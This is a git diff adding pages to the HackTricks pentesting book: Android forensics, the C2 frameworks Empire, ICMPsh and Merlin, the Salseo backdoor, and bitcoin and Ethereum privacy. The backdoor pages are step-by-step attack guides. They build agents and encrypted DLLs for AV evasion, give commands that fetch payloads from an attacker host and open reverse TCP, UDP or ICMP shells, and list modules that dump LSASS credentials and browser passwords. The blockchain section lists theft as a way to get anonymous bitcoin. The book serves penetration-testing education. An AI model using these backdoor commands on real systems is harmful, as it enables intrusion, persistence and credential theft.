+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
diff --git a/android-forensics.md b/android-forensics.md
new file mode 100644
index 00000000000..fe4bf492c3c
--- /dev/null
+++ b/android-forensics.md
@@ -0,0 +1,24 @@
+# Android Forensics
+
+## Locked Device
+
+To start extracting data from an Android device it has to be unlocked. If it's locked you can:
+
+* Check if the device has debugging via USB activated.
+* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
+* Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
+
+## Data Adquisition
+
+Create an [android backup using adb](mobile-apps-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
+
+### If root access or physical connection to JTAG interface
+
+* `cat /proc/partitions` \(search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory\).
+* `df /data` \(Discover the block size of the system\).
+* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 \(execute it with the information gathered from the block size\).
+
+### Memory
+
+Use Linux Memory Extractor \(LiME\) to extract the RAM information. It's a kernel extension that should be loaded via adb.
+
diff --git a/backdoors/empire.md b/backdoors/empire.md
new file mode 100644
index 00000000000..cf0d31ceaee
--- /dev/null
+++ b/backdoors/empire.md
@@ -0,0 +1,6 @@
+---
+description: 'https://github.com/EmpireProject/Empire'
+---
+
+# Empire
+
diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md
new file mode 100644
index 00000000000..b9b44431b74
--- /dev/null
+++ b/backdoors/icmpsh.md
@@ -0,0 +1,34 @@
+---
+description: 'https://github.com/inquisb/icmpsh'
+---
+
+# ICMPsh
+
+Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
+
+## Client side
+
+Execute the script: **run.sh**
+
+**If you get some error, try to change the lines:**
+
+```bash
+IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
+IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
+```
+
+**For:**
+
+```bash
+echo Please insert the IP where you want to listen
+read IP
+```
+
+## **Victim Side**
+
+Upload **icmpsh.exe** to the victim and execute:
+
+```bash
+icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
+```
+
diff --git a/backdoors/merlin.md b/backdoors/merlin.md
new file mode 100644
index 00000000000..4faa9e8895f
--- /dev/null
+++ b/backdoors/merlin.md
@@ -0,0 +1,95 @@
+---
+description: 'https://github.com/Ne0nd0g/merlin'
+---
+
+# Merlin
+
+## Installation
+
+### Install GO
+
+```text
+#Download GO package from: https://golang.org/dl/
+#Decompress the packe using:
+tar -C /usr/local -xzf go$VERSION.$OS-$ARCH.tar.gz
+
+#Change /etc/profile
+Add ":/usr/local/go/bin" to PATH
+Add "export GOPATH=$HOME/go"
+Add "export GOBIN=$GOPATH/bin"
+
+source /etc/profile
+```
+
+### Install Merlin
+
+```text
+go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
+cd $GOPATH/src/github.com/Ne0nd0g/merlin/
+```
+
+## Launch Merlin Server
+
+```text
+go run cmd/merlinserver/main.go -i
+```
+
+## Merlin Agents
+
+You can [download precompiled agents](https://github.com/Ne0nd0g/merlin/releases)
+
+### Compile Agents
+
+Go to the main folder _$GOPATH/src/github.com/Ne0nd0g/merlin/_
+
+```text
+#User URL param to set the listener URL
+make #Server and Agents of all
+make windows #Server and Agents for Windows
+make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
+```
+
+### **Manual compile agents**
+
+```text
+GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
+```
+
+## Modules
+
+**The bad news is that every module used by Merlin is downloaded from the source \(github\) and saved indisk before using it. Forge about usingwell known modules because Windows Defender will catch you!**  
+
+
+**SafetyKatz** --&gt; Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file  
+**SharpDump** --&gt; minidump for the process ID specified \(LSASS by default\) \(Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file\)  
+**SharpRoast** --&gt;Kerberoast \(doesn't work\)  
+**SeatBelt** --&gt; Local Security Tests in CS \(does not work\) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs  
+**Compiler-CSharp** --&gt; Compile using csc.exe /unsafe  
+**Sharp-Up** --&gt;Allchecks in C\# in powerup \(works\)  
+**Inveigh** --&gt; PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool \(doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\)  
+**Invoke-InternalMonologue** --&gt; impersonates all available users and retrieves a challenge-response for each \(NTLM hash for each user\) \(bad url\)  
+**Invoke-PowerThIEf** --&gt; Steal forms from IExplorer or make it execute JS or inject a DLL in that process \(doesnt work\) \(and the PS looks like doesnt work either\) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1  
+**LaZagneForensic** --&gt; Get browser passwords \(works but dont prints the output directory\)  
+**dumpCredStore** --&gt; Win32 Credential Manager API \(https://github.com/zetlen/clortho/blob/master/CredMan.ps1\) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details  
+**Get-InjectedThread** --&gt; Detect classic injection in running processes \(Classic Injection \(OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread\)\) \(doesnt works\)  
+**Get-OSTokenInformation** --&gt; Get Token Info of the running processes and threads \(User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token\_information\_class\)  
+**Invoke-DCOM** --&gt; Execute a command \(inother computer\) via DCOM \(http://www.enigma0x3.net.\) \(https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/\)  
+**Invoke-DCOMPowerPointPivot** --&gt; Execute a command in othe PC abusing PowerPoint COM objects \(ADDin\)  
+**Invoke-ExcelMacroPivot** --&gt; Execute a command in othe PC abusing DCOM in Excel  
+**Find-ComputersWithRemoteAccessPolicies** --&gt; \(not working\) \(https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/\)  
+**Grouper** --&gt; It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. \(deprecated\) Take a look at Grouper2, looks really nice  
+**Invoke-WMILM** --&gt; WMI to move laterally  
+**Get-GPPPassword** --&gt; Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords \(insidedomain\)  
+**Invoke-Mimikatz** --&gt; Use mimikatz \(default dump creds\)  
+**PowerUp** --&gt; https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc  
+**Find-BadPrivilege** --&gt; Check the privileges of users in computers  
+**Find-PotentiallyCrackableAccounts** --&gt; retrieve information about user accounts associated with SPN \(Kerberoasting\)  
+**psgetsystem** --&gt; getsystem
+
+**Didn't check persistence modules**
+
+## Resume
+
+I really like the feeling and the potential of the tool.  
+I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts.
+
diff --git a/backdoors/salseo.md b/backdoors/salseo.md
new file mode 100644
index 00000000000..9978025e6fc
--- /dev/null
+++ b/backdoors/salseo.md
@@ -0,0 +1,179 @@
+---
+description: 'https://github.com/Hackplayers/Salsa-tools'
+---
+
+# Salseo
+
+## Compiling the binaries
+
+Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
+
+Compile those projects for the architecture of the windows box where your are going to use them\(If the Windows supports x64 compile them for that architectures\).
+
+You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
+
+**\(**If you can't find this options press in **"Project Tab"** and then in **"&lt;Project Name&gt; Properties"**\)
+
+![](../.gitbook/assets/image%20%28154%29.png)
+
+Then, build both projects \(Build -&gt; Build Solution\) \(Inside the logs will appear the path of the executable\):
+
+![](../.gitbook/assets/image%20%28233%29.png)
+
+## Prepare the Backdoor
+
+First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**
+
+### **Python**
+
+```text
+python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
+python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
+```
+
+### Windows
+
+```text
+EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
+EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
+```
+
+Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
+
+**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
+
+## **Execute the backdoor**
+
+### **Getting a TCP reverse shell \(downloading encoded dll through HTTP\)**
+
+Remember to start a nc as the reverse shell listener, and a HTTP server to serve the encoded evilsalsa.
+
+```text
+SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
+```
+
+### **Getting a UDP reverse shell \(downloading encoded dll through SMB\)**
+
+Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa \(impacket-smbserver\).
+
+```text
+SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
+```
+
+### **Getting a ICMP reverse shell \(encoded dll already inside the victim\)**
+
+**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)\*\*\*\*
+
+#### **Disable ICMP Replies:**
+
+```text
+sysctl -w net.ipv4.icmp_echo_ignore_all=1
+
+#You finish, you can enable it again running:
+sysctl -w net.ipv4.icmp_echo_ignore_all=0
+```
+
+#### Execute the client:
+
+```text
+python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
+```
+
+#### Inside the victim, lets execute the salseo thing:
+
+```text
+SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
+```
+
+## Compiling SalseoLoader as DLL exporting main function
+
+Open the SalseoLoader project using Visual Studio.
+
+### Add before the main function: \[DllExport\]
+
+![](../.gitbook/assets/image%20%2888%29.png)
+
+### Install DllExport for this project
+
+#### **Tools** --&gt; **NuGet Package Manager** --&gt; **Manage NuGet Packages for Solution...**
+
+![](../.gitbook/assets/image%20%2855%29.png)
+
+#### **Search for DllExport package \(using Browse tab\), and press Install \(and accept the popup\)**
+
+![](../.gitbook/assets/image%20%28240%29.png)
+
+In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat**
+
+### **U**ninstall DllExport
+
+Press **Uninstall** \(yeah, its weird but trust me, it is necessary\)
+
+![](../.gitbook/assets/image%20%28104%29.png)
+
+### **Exit Visual Studio and execute DllExport\_configure**
+
+Just **exit** Visual Studio
+
+Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat**
+
+Select **x64** \(if you are going to use it inside a x64 box, that was my case\), select **System.Runtime.InteropServices** \(inside **Namespace for DllExport**\) and press **Apply**
+
+![](../.gitbook/assets/image%20%28236%29.png)
+
+### **Open the project again with visual Studio**
+
+**\[DllExport\]** should not be longer marked as error
+
+![](../.gitbook/assets/image%20%28249%29.png)
+
+### Build the solution
+
+Select **Output Type = Class Library** \(Project --&gt; SalseoLoader Properties --&gt; Application --&gt; Output type = Class Library\)
+
+![](../.gitbook/assets/image%20%28226%29.png)
+
+Select **x64** **platform** \(Project --&gt; SalseoLoader Properties --&gt; Build --&gt; Platform target = x64\)
+
+![](../.gitbook/assets/image%20%28137%29.png)
+
+To **build** the solution: Build --&gt; Build Solution \(Inside the Output console the path of the new DLL will appear\)
+
+### Test the generated Dll
+
+Copy and paste the Dll where you want to test it.
+
+Execute:
+
+```text
+rundll32.exe SalseoLoader.dll,main
+```
+
+If not error appears, probably you have a functional dll!!
+
+## Get a shell using the Dll
+
+Don't forget to use a **HTTP** **server** and set a **nc** **listener**
+
+### Powershell
+
+```text
+$env:pass="password"
+$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
+$env:lhost="10.2.0.5"
+$env:lport="1337"
+$env:shell="reversetcp"
+rundll32.exe SalseoLoader.dll,main
+```
+
+### CMD
+
+```text
+set pass=password
+set payload=http://10.2.0.5/evilsalsax64.dll.txt
+set lhost=10.2.0.5
+set lport=1337
+set shell=reversetcp
+rundll32.exe SalseoLoader.dll,main
+```
+
diff --git a/blockchain/blockchain-and-crypto-currencies.md b/blockchain/blockchain-and-crypto-currencies.md
new file mode 100644
index 00000000000..e6e9d85afc8
--- /dev/null
+++ b/blockchain/blockchain-and-crypto-currencies.md
@@ -0,0 +1,283 @@
+# Blockchain & Crypto Currencies
+
+## Basic Terminology
+
+* **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. \(From [here](https://www.ibm.com/topics/smart-contracts)\).
+  * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** \(so the results are stored inmutable\) and can be read by the people before accepting them.
+* **dApps**: **Decentralised applications** are implemented on top of **smart** **contracts**. They usually have a front-end where the user can interact with the app, the **back-end** is public \(so it can be audited\) and is implemented as a **smart contract**. Sometimes the use of a database is needed, Ethereum blockchain allocates certain storage to each account.
+* **Tokens & coins**: A **coin** is a cryptocurrency that act as **digital** **money** and a **token** is something that **represents** some **value** but it's not a coin.
+  * **Utility Tokens**: These tokens allow the user to **access certain service later** \(it's something that have some value in a specific environment\).
+  * **Security Tokens**: These represents the **ownership** or some asset.
+* **DeFi**: **Decentralized Finance**.
+* **DEX: Decentralized Exchange Platforms**.
+* **DAOs**: **Decentralized Autonomous Organizations**.
+
+## Consensus Mechanisms
+
+For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators \(miners\) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. 
+
+Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.
+
+### Proof Of Work \(PoW\)
+
+This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.  
+The **miners** will **select several transactions** and then start **computing the Proof Of Work**. The **miner with the greatest computation resources** is more probably to **finish** **earlier** the Proof of Work and get the fees of all the transactions.
+
+### Proof Of Stake \(PoS\)
+
+PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack.  
+In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.  
+Compared with PoW, this greatly **reduced the energy consumption** the miners are expending.
+
+## Bitcoin
+
+### Transactions
+
+A simple **transaction** is a **movement of money** from an address to another one.  
+An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key \(the address\).  
+Then, when a **transaction** is performed, it's **signed** with the private key of the address to show that the transaction is **legit**.
+
+The first part of producing a digital signature in Bitcoin can be represented mathematically in the following way:  
+_**Sig**_ = _**Fsig**_\(_**Fhash**_\(_**m**_\),_**dA**_\)
+
+Where:
+
+* _d_A is the signing **private key**
+* _m_ is the **transaction**
+* Fhash is the hashing function
+* Fsig is the signing algorithm
+* Sig is the resulting signature
+
+The signing function \(Fsig\) produces a signature \(Sig\) that comprises of two values: R and S:
+
+* Sig = \(R, S\)
+
+Once R and S have been calculated, they are serialized into a byte stream that is encoded using an international standard encoding scheme that is known as the Distinguished Encoding Rules \(or DER\). In order to verify that the signature is valid, a signature verification algorithm is used. Verification of a digital signature requires the following:
+
+* Signature \(R and S\)
+* Transaction hash
+* The public key that corresponds to the private key that was used to create the signature
+
+Verification of a signature effectively means that only the owner of the private key \(that generated the public key\) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid.
+
+#### Multisignature Transactions
+
+A multi-signature **address** is an address that is associated with more than one ECDSA private key. The simplest type is an m-of-n address - it is associated with n private keys, and sending bitcoins from this address requires signatures from at least m keys. A multi-signature **transaction** is one that sends funds from a multi-signature address.
+
+#### Transactions Fields
+
+Each bitcoin transaction has several fields:
+
+* **Inputs**: The amount and address **from** where **bitcoins** are **being** transferred
+* **Outputs**: The address and amounts that each **transferred** to **each** **output**
+* **Fee:** The amount of **money** that is **payed** to the **miner** of the transaction
+* **Script\_sig**: Script signature of the transaction
+* **Script\_type**: Type of transaction
+
+There are **2 main types** of transactions:
+
+* **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** \(from the private key\) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security.
+* **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** \(this means the person how want this money send a script\) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one.
+
+### Lightning Network
+
+This protocol helps to **perform several transactions to a channe**l and **just** **sent** the **final** **state** to the blockchain to save it.  
+This **improves** bitcoin blockchain **speed** \(it just on allow 7 payments per second\) and it allows to create **transactions more difficult to trace** as the channel is created via nodes of the bitcoin blockchain:
+
+![](../.gitbook/assets/image%20%28611%29.png)
+
+Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain \(layer 1\), followed by making **any number** of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds.
+
+Note that any of the both members of the channel can stop and send the final state of the channel to the blockchain at any time.
+
+## Bitcoin Privacy Attacks
+
+### Common Input
+
+Theoretically the inputs of one transaction can belong to different users, but in reality that is unusual as it requires extra steps. Therefore, very often it can be assumed that **2 input addresses in the same transaction belongs to the same owner**.
+
+### UTXO Change Address Detection
+
+**UTXO** means **Unspent Transaction Outputs** \(UTXOs\). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** \(to avoid double-spend attacks\). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved.
+
+Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**.
+
+### Social Networks & Forums
+
+Some people gives data about theirs bitcoin addresses in different webs on Internet. **This make pretty easy to identify the owner of an address**.
+
+### Transaction Graphs
+
+By representing the transactions in graphs, i**t's possible to know with certain probability to where the money of an account were**. Therefore, it's possible to know something about **users** that are **related** in the blockchain. 
+
+### **Unnecessary input heuristic**
+
+Also called the "optimal change heuristic". Consider this bitcoin transaction. It has two inputs worth 2 BTC and 3 BTC and two outputs worth 4 BTC and 1 BTC.
+
+```text
+2 btc --> 4 btc
+3 btc     1 btc
+```
+
+Assuming one of the outputs is change and the other output is the payment. There are two interpretations: the payment output is either the 4 BTC output or the 1 BTC output. But if the 1 BTC output is the payment amount then the 3 BTC input is unnecessary, as the wallet could have spent only the 2 BTC input and paid lower miner fees for doing so. This is an indication that the real payment output is 4 BTC and that 1 BTC is the change output.
+
+This is an issue for transactions which have more than one input. One way to fix this leak is to add more inputs until the change output is higher than any input, for example:
+
+```text
+2 btc --> 4 btc
+3 btc     6 btc
+5 btc
+```
+
+### Forced address reuse
+
+**Forced address reuse** or **incentivized address reuse** is when an adversary pays an \(often small\) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse.
+
+This attack is sometimes incorrectly called a **dust attack**.
+
+The correct behaviour by wallets is to not spend coins that have landed on an already-used empty addresses.
+
+### Other Blockchain Analysis
+
+* **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO \(which is highly unexpected\). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**.
+* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover.
+* **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint.
+* **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**.
+
+### Traffic analysis
+
+Some organisation **sniffing your traffic** can see you communicating in the bitcoin network.  
+If the adversary sees a transaction or block **coming out of your node which did not previously enter**, then it can know with near-certainty that **the transaction was made by you or the block was mined by you**. As internet connections are involved, the adversary will be able to **link the IP address with the discovered bitcoin information**.
+
+An attacker that isn't able to sniff all the Internet traffic but that has **a lot of Bitcoin nodes** in order to stay **closer** to the s**o**urces could be able to know the IP address that are announcing transactions or blocks.  
+Also, some wallets periodically rebroadcast their unconfirmed transactions so that they are more likely to propagate widely through the network and be mined.
+
+### Other attacks to find info about the owner of addresses
+
+For more attacks read [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)
+
+## Anonymous Bitcoins
+
+### Obtaining Bitcoins Anonymously
+
+* **Cash trades:** Buy bitcoin using cash.
+* **Cash substitute:** Buy gift cards or similar and exchange them for bitcoin online.
+* **Mining:** Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled_mining) generally know the hasher's IP address.
+* **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them.
+
+### Mixers
+
+A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions.
+
+However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent.  
+Some other services can be also used as mixers, like Bitcoin casinos where you can send bitcoins and retrieve them later.
+
+### CoinJoin
+
+**CoinJoin** will **mix several transactions of different users into just one** in order to make more **difficult** for an observer to find out **which input is related to which output**.  
+This offers a new level of privacy, however, **some** **transactions** where some input and output amounts are  correlated or are very different from the rest of the inputs and outputs **can still be correlated** by the external observer.
+
+Examples of \(likely\) CoinJoin transactions IDs on bitcoin's blockchain are `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+
+[**https://coinjoin.io/en**](https://coinjoin.io/en)  
+**Similar to coinjoin but better and for ethereum you have** [**Tornado Cash**](https://tornado.cash/) **\(the money is given from miners, so it jus appear in your waller\).**
+
+### PayJoin
+
+The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value. 
+
+PayJoin \(also called pay-to-end-point or P2EP\) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs** with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction:
+
+```text
+2 btc --> 3 btc
+5 btc     4 btc
+```
+
+It could be interpreted as a simple transaction paying to somewhere with leftover change \(ignore for now the question of which output is payment and which is change\). Another way to interpret this transaction is that the 2 BTC input is owned by a merchant and 5 BTC is owned by their customer, and that this transaction involves the customer paying 1 BTC to the merchant. There is no way to tell which of these two interpretations is correct. The result is a coinjoin transaction that breaks the common-input-ownership heuristic and improves privacy, but is also **undetectable and indistinguishable from any regular bitcoin transaction**.
+
+If PayJoin transactions became even moderately used then it would make the **common-input-ownership heuristic be completely flawed in practice**. As they are undetectable we wouldn't even know whether they are being used today. As transaction surveillance companies mostly depend on that heuristic, as of 2019 there is great excitement about the PayJoin idea.
+
+## Bitcoin Privacy Good Practices
+
+### Wallet Synchronization
+
+Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** \(which is maximally private\) and **client-side block filtering** \(which is very good\).
+
+* **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. 
+* **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance.
+
+### Tor
+
+Bitcoin network uses a peer-to-peer network, which means that other peers can learn your IP address. This is why it's recommend to **connect through Tor every time you want to interact with the bitcoin network**.
+
+### Avoiding address reuse
+
+**Addresses being used more than once is very damaging to privacy because that links together more blockchain transactions with proof that they were created by the same entity**. The most private and secure way to use bitcoin is to send a brand **new address to each person who pays you**. After the received coins have been spent the address should never be used again. Also, a brand new bitcoin address should be demanded when sending bitcoin. All good bitcoin wallets have a user interface which discourages address reuse.
+
+### Multiple transactions
+
+**Paying** someone with **more than one on-chain transaction** can greatly reduce the power of amount-based privacy attacks such as amount correlation and round numbers. For example, if the user wants to pay 5 BTC to somebody and they don't want the 5 BTC value to be easily searched for, then they can send two transactions for the value of 2 BTC and 3 BTC which together add up to 5 BTC.
+
+### Change avoidance
+
+Change avoidance is where transaction inputs and outputs are carefully chosen to not require a change output at all. **Not having a change output is excellent for privacy**, as it breaks change detection heuristics.
+
+### Multiple change outputs
+
+If change avoidance is not an option then **creating more than one change output can improve privacy**. This also breaks change detection heuristics which usually assume there is only a single change output. As this method uses more block space than usual, change avoidance is preferable.
+
+## Monero
+
+When Monero was developed, the gaping need for **complete anonymity** was what it sought to resolve, and to a large extent, it has filled that void.
+
+## Ethereum
+
+### Gas
+
+Gas refers to the unit that measures the **amount** of **computational** **effort** required to execute specific operations on the Ethereum network. Gas refers to the **fee** required to successfully conduct a **transaction** on Ethereum.
+
+Gas prices are denoted in **gwei**, which itself is a denomination of ETH - each gwei is equal to **0.000000001 ETH** \(10-9 ETH\). For example, instead of saying that your gas costs 0.000000001 ether, you can say your gas costs 1 gwei. The word 'gwei' itself means 'giga-wei', and it is equal to **1,000,000,000 wei**. Wei itself is the **smallest unit of ETH**.
+
+To calculate the gas that a transaction is going to cost read this example:
+
+Let’s say Jordan has to pay Taylor 1 ETH. In the transaction the gas limit is 21,000 units and the base fee is 100 gwei. Jordan includes a tip of 10 gwei.
+
+Using the formula above we can calculate this as `21,000 * (100 + 10) = 2,310,000 gwei` or 0.00231 ETH.
+
+When Jordan sends the money, 1.00231 ETH will be deducted from Jordan's account. Taylor will be credited 1.0000 ETH. Miner receives the tip of 0.00021 ETH. Base fee of 0.0021 ETH is burned.
+
+Additionally, Jordan can also set a max fee \(`maxFeePerGas`\) for the transaction. The difference between the max fee and the actual fee is refunded to Jordan, i.e. `refund = max fee - (base fee + priority fee)`. Jordan can set a maximum amount to pay for the transaction to execute and not worry about overpaying "beyond" the base fee when the transaction is executed.
+
+As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed. 
+
+### Transactions
+
+Notice that in the **Ethereum** network a transaction is performed between 2 addresses and these can be **user or smart contract addresses**.  
+**Smart Contracts** are stored in the distributed ledger via a **special** **transaction**.
+
+Transactions, which change the state of the EVM, need to be broadcast to the whole network. Any node can broadcast a request for a transaction to be executed on the EVM; after this happens, a **miner** will **execute** the **transaction** and propagate the resulting state change to the rest of the network.  
+Transactions require a **fee** and must be mined to become valid.
+
+A submitted transaction includes the following information:
+
+* `recipient` – the receiving address \(if an externally-owned account, the transaction will transfer value. If a contract account, the transaction will execute the contract code\)
+* `signature` – the identifier of the sender. This is generated when the sender's private key signs the transaction and confirms the sender has authorised this transaction
+* `value` – amount of ETH to transfer from sender to recipient \(in WEI, a denomination of ETH\)
+* `data` – optional field to include arbitrary data
+* `gasLimit` – the maximum amount of gas units that can be consumed by the transaction. Units of gas represent computational steps
+* `maxPriorityFeePerGas` - the maximum amount of gas to be included as a tip to the miner
+* `maxFeePerGas` - the maximum amount of gas willing to be paid for the transaction \(inclusive of `baseFeePerGas` and `maxPriorityFeePerGas`\)
+
+Note that there isn't any field for the origin address, this is because this can be extrapolated from the signature.
+
+## References
+
+* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
+* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
